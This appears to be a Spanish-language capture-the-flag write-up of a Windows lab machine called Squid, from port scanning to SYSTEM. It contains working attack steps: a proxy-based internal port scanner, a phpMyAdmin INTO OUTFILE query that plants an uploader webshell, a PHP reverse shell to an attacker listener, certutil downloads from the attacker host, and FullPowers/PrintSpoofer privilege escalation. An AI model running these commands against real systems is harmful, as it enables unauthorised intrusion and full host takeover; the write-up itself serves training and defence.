Squid
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Squid expone poco al exterior, pero el puerto 3128 corre un Squid proxy 4.14. Lo usamos como pivote para escanear los puertos que la máquina solo escucha en local (escaneo por proxy Squid) y descubrimos un WampServer en el 8080 con phpMyAdmin. Entramos con las credenciales por defecto (rootsin contraseña) y, sabiendo el document root por unphpinfo(), soltamos una webshell conINTO OUTFILE(webshell con INTO OUTFILE). Eso nos da shell comont authority\local service, una cuenta de servicio con el token recortado: FullPowers le devuelveSeImpersonatePrivilege(FullPowers) y PrintSpoofer lo convierte ennt authority\system(PrintSpoofer, familia Potato).
Reconocimiento
Escaneo inicial
TTL 125 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 125 = 128−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. El barrido completo de puertos TCP devuelve un conjunto pequeño:
ping -c 1 192.168.123.189
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.123.189PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3128/tcp open squid-http
49666/tcp open unknown
49667/tcp open unknownnmap -p135,139,445,3128,49666,49667 -sCV 192.168.123.189 -oN targetedScanPORT STATE SERVICE REASON
135/tcp open msrpc syn-ack ttl 125
139/tcp open netbios-ssn syn-ack ttl 125
445/tcp open microsoft-ds syn-ack ttl 125
3128/tcp open squid-http syn-ack ttl 125
49666/tcp open unknown syn-ack ttl 125
49667/tcp open unknown syn-ack ttl 125El reconocimiento de versiones confirma SMB de Windows en 135/139/445 y, lo interesante, un proxy Squid 4.14 en el 3128:
3128/tcp open http-proxy Squid http proxy 4.14
|_http-server-header: squid/4.14
|_http-title: ERROR: The requested URL could not be retrievedSMB no ofrece sesión nula útil y los puertos altos son RPC dinámico. Toda la superficie aprovechable está en ese proxy.
Squid proxy - TCP 3128
Squid es un proxy HTTP de reenvío: acepta peticiones de clientes y las cursa hacia destinos. Si apuntamos el navegador directamente contra http://192.168.123.189:3128 responde con un error de "Invalid URL", porque espera actuar como proxy, no servir contenido propio:

La idea clave es que un proxy abierto puede reenviarnos a destinos que la propia máquina escucha solo en localhost. Es decir, podemos usar Squid para alcanzar servicios internos que el firewall no expone al exterior (escaneo por proxy Squid). Configuramos FoxyProxy en el navegador con un perfil squid_proxy de tipo HTTP, host 192.168.123.189 y puerto 3128; a partir de ahí todo el tráfico del navegador saldrá por Squid:

Descubrir puertos internos a través del proxy
En lugar de probar a mano, un script corto recorre los 65535 puertos pidiéndole a Squid que se conecte a 127.0.0.1:<port> por nosotros y marca los que devuelven 200:
#!/bin/bash
target="192.168.123.189"
proxy="http://192.168.123.189:3128"
max_threads=50
scan_port() {
local port=$1
response=$(curl -s -I -L --connect-timeout 2 "$target:$port" --proxy "$proxy" | head -n 1 | cut -d ' ' -f2)
if [[ "$response" == "200" ]]; then
echo "[+] Port $port - OPEN"
fi
}
for i in $(seq 1 65535); do
scan_port "$i" &
if [[ $(jobs -r | wc -l) -ge $max_threads ]]; then
wait -n
fi
done
waitEl escaneo a través del proxy revela dos puertos que nmap no veía desde fuera:

Starting scan on 192.168.123.189 via http://192.168.123.189:3128...
[+] Port 3306 - OPEN
[+] Port 8080 - OPENEl 3306 es MySQL y el 8080 un servidor web; ambos solo escuchaban en local, de ahí que no salieran en el escaneo directo.
Explotación
WampServer y phpMyAdmin en el 8080
Con FoxyProxy activo navegamos a http://192.168.123.189:8080 y aparece la página de bienvenida de WampServer (el stack Apache + MySQL/MariaDB + PHP para Windows), versión 3.2.3 con Apache 2.4.46 y PHP 7.3.21:

La home de Wamp expone sus herramientas, entre ellas un enlace a phpinfo():

y, en la columna de aliases, el acceso a phpMyAdmin:

Dos piezas que, juntas, son una vía de RCE: phpMyAdmin nos da consola SQL y phpinfo() nos dirá dónde escribir en disco.
phpinfo: el document root
Abrimos phpinfo() y buscamos DOCUMENT_ROOT. Wamp sirve desde C:/wamp/www:
![phpinfo mostrando $_SERVER['DOCUMENT_ROOT'] = C:/wamp/www y SERVER_SOFTWARE Apache/2.4.46 (Win64) PHP/7.3.21](../assets/img/squid/squid-phpinfo.webp)
$_SERVER['SERVER_SOFTWARE'] Apache/2.4.46 (Win64) PHP/7.3.21
$_SERVER['SERVER_PORT'] 8080
$_SERVER['DOCUMENT_ROOT'] C:/wamp/www
$_SERVER['SCRIPT_FILENAME'] C:/wamp/www/index.phpSaber la ruta del document root es lo que falta: si conseguimos escribir un .php ahí, Apache lo ejecutará al pedirlo por el navegador.
Credenciales por defecto en phpMyAdmin
phpMyAdmin pide usuario y contraseña. WampServer instala MySQL con la cuenta root sin contraseña por defecto, y aquí no se cambió: entramos con root y el campo de contraseña vacío.

El login funciona y aterrizamos en el panel como root@localhost sobre un MySQL 5.7.31:

Server: MySQL (127.0.0.1 via TCP/IP)
Server version: 5.7.31 - MySQL Community Server (GPL)
User: root@localhost
Web server: Apache/2.4.46 (Win64) PHP/7.3.21Reutilizar las credenciales de fábrica es lo que abre la consola SQL con privilegios de root, y root en MySQL/MariaDB suele poder escribir ficheros en disco con INTO OUTFILE.
Webshell con INTO OUTFILE
Que root pueda escribir ficheros no significa recordar de memoria la sintaxis del uploader. Una búsqueda rápida ("get shell from phpmyadmin") lleva a un gist muy citado con la técnica:

El gist trae el SELECT ... INTO OUTFILE que vuelca un pequeño uploader PHP en disco: un formulario que después nos dejará subir cualquier fichero al servidor (webshell con INTO OUTFILE):

Adaptamos la ruta de salida al document root que sacamos del phpinfo() (C:/wamp/www) y lanzamos la consulta en la pestaña SQL de phpMyAdmin:
SELECT "<?php echo '<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">';echo '<input type=\"file\" name=\"file\" size=\"50\"><input name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"></form>'; if( $_POST['_upl'] == \"Upload\" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Done.<b><br><br>'; }else { echo '<b>Upload Failed.</b><br><br>'; }}?>"
INTO OUTFILE 'C:/wamp/www/uploader.php';phpMyAdmin devuelve un empty result set: el SELECT no lista filas, pero su efecto secundario (escribir el fichero) sí se ejecuta. La consulta ha creado C:/wamp/www/uploader.php:

MySQL returned an empty result set (i.e. zero rows). (Query took 0.0006 seconds.)
SELECT "<?php ... uploader ... ?>" INTO OUTFILE 'C:/wamp/www/uploader.php'El uploader subirá el fichero, pero necesitamos algo que ejecute código. Para la reverse shell tiramos de revshells.com, eligiendo la plantilla PHP Ivan Sincek para Windows y fijando nuestro LHOST (192.168.45.244) y el puerto 80:

Guardamos esa plantilla como rev.php en local, ajustando la IP y el puerto en la cabecera del script:

<?php
// Copyright (c) 2020 Ivan Sincek
// v2.3
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {
private $addr = null;
private $port = null;
...Levantamos el listener y visitamos http://192.168.123.189:8080/uploader.php. El formulario carga (el Notice: Undefined index: _upl es normal: aún no hemos enviado nada), elegimos rev.php y pulsamos Upload:

rlwrap nc -nlvp 80El servidor guarda rev.php junto al uploader y lo invocamos con http://192.168.123.189:8080/rev.php. Apache ejecuta el código y nuestro listener recibe la conexión:

connect to [192.168.45.244] from (UNKNOWN) [192.168.123.189] 54474
SOCKET: Shell has connected! PID: 3724
Microsoft Windows [Version 10.0.17763.2300]
C:\wamp\www>whoami
nt authority\local serviceCaemos como nt authority\local service, la cuenta con la que Apache corre el servicio.
Post-explotación
Local
type local.txt & whoami & ipconfig & hostname
f7048936920e8f39316f1e3e5116e5d0
nt authority\local serviceEscalada: recuperar privilegios con FullPowers
Lo primero al aterrizar en una cuenta de servicio es mirar sus privilegios. Pero el whoami /priv de esta shell viene recortado: solo aparecen SeChangeNotifyPrivilege, SeCreateGlobalPrivilege y SeIncreaseWorkingSetPrivilege. Falta justo el que abre la escalada, SeImpersonatePrivilege, que LOCAL SERVICE debería tener por diseño. Una búsqueda ("windows nt authority local service privilege escalation") apunta directamente a la herramienta que restaura ese privilegio:

Cuando un proceso de LOCAL SERVICE arranca fuera de su contexto habitual (aquí, lanzado por Apache), Windows le entrega un token con un subconjunto reducido de privilegios. FullPowers (repo) fuerza la creación de una tarea programada bajo la cuenta completa y nos devuelve un proceso con todos los privilegios que le corresponden (FullPowers). Lo descargamos y lo servimos por HTTP desde nuestra máquina:
wget https://github.com/itm4n/FullPowers/releases/download/v0.1/FullPowers.exe &>/dev/null
python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...Desde la shell de la víctima lo traemos con certutil y lo ejecutamos:
certutil.exe -f -urlcache -split http://192.168.45.244:8080/FullPowers.exe FullPowers.exe
.\FullPowers.exe
.\FullPowers.exe
[+] Started dummy thread with id 620
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
C:\Windows\system32>whoami /priv
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects EnabledAhora el token tiene SeImpersonatePrivilege habilitado. FullPowers no escala por sí mismo; solo restaura el privilegio que la técnica Potato explota después.
SeImpersonate + PrintSpoofer
Con SeImpersonatePrivilege recuperado, la entrada de la familia Potato queda abierta: una cuenta de servicio con este privilegio puede impersonar el token de un proceso SYSTEM al que coaccionamos a conectarse a un named pipe nuestro (abuso de SeImpersonate). Antes de elegir el exploit conviene mirar la versión exacta del sistema:

Host Name: SQUID
OS Name: Microsoft Windows Server 2019 Standard
OS Version: 10.0.17763 N/A Build 17763
System Type: x64-based PCEs Windows Server 2019, donde JuicyPotato ya no funciona (Microsoft cerró el truco del CLSID/DCOM). En cambio PrintSpoofer (repo) abusa del servicio de cola de impresión para forzar esa conexión y sigue siendo válido aquí (PrintSpoofer). Lo servimos y lo traemos igual que antes:
certutil.exe -f -urlcache -split http://192.168.45.244:8080/printspoofer.exe printspoofer.exe
CertUtil: -URLCache command completed successfully.
# en el servidor:
192.168.123.189 - - [18/Jan/2026 23:16:01] "GET /printspoofer.exe HTTP/1.1" 200 -Lo ejecutamos pidiéndole que lance una cmd interactiva con el token robado:
.\printspoofer.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
C:\Windows\system32>whoami
nt authority\systemProof
type proof.txt & whoami & ipconfig & hostname
4285d550a10fe2093c7ac890a7e74f5d
nt authority\systemCadena de ataque
Squid proxy (3128) -- proxy de reenvío abierto
│ escaneo de puertos internos via proxy
▼
MySQL (3306) + WampServer/Apache (8080) solo en localhost
│ phpMyAdmin con creds por defecto (root / sin pass)
│ + phpinfo() revela DOCUMENT_ROOT = C:/wamp/www
│ INTO OUTFILE -> uploader.php -> subir rev.php -> reverse shell
▼
shell como nt authority\local service (local.txt)
│ token recortado -> FullPowers restaura SeImpersonatePrivilege
▼
token con SeImpersonatePrivilege
│ PrintSpoofer (Windows Server 2019)
▼
nt authority\system (proof.txt)Lecciones aprendidas
- Un proxy abierto es un pivote. Squid reenviaba peticiones a
localhost, así que los servicios que la máquina escondía detrás del firewall (MySQL y Wamp) quedaron a tiro. Un proxy de reenvío sin ACL es, en la práctica, un agujero en el perímetro. - Las credenciales de fábrica siguen siendo el camino corto. WampServer instala MySQL con
rootsin contraseña; nadie lo cambió. Antes de buscar exploits, probar lo evidente. phpinfo()no es inocuo. Exponerphpinfo()reveló el document root exacto, justo el dato que faltaba para que elINTO OUTFILEcayera en una ruta servida por Apache.- La versión manda al elegir el Potato.
systeminfoconfirmó Windows Server 2019, donde JuicyPotato ya no vale; por eso el vector fue PrintSpoofer. Mirar la build antes de lanzar el exploit ahorra intentos. - Token recortado no es token sin privilegios.
LOCAL SERVICEparecía inofensivo, pero FullPowers restauróSeImpersonatePrivilegey, con él, PrintSpoofer llevó a SYSTEM. La cuenta tenía el privilegio por diseño; solo había que recuperarlo.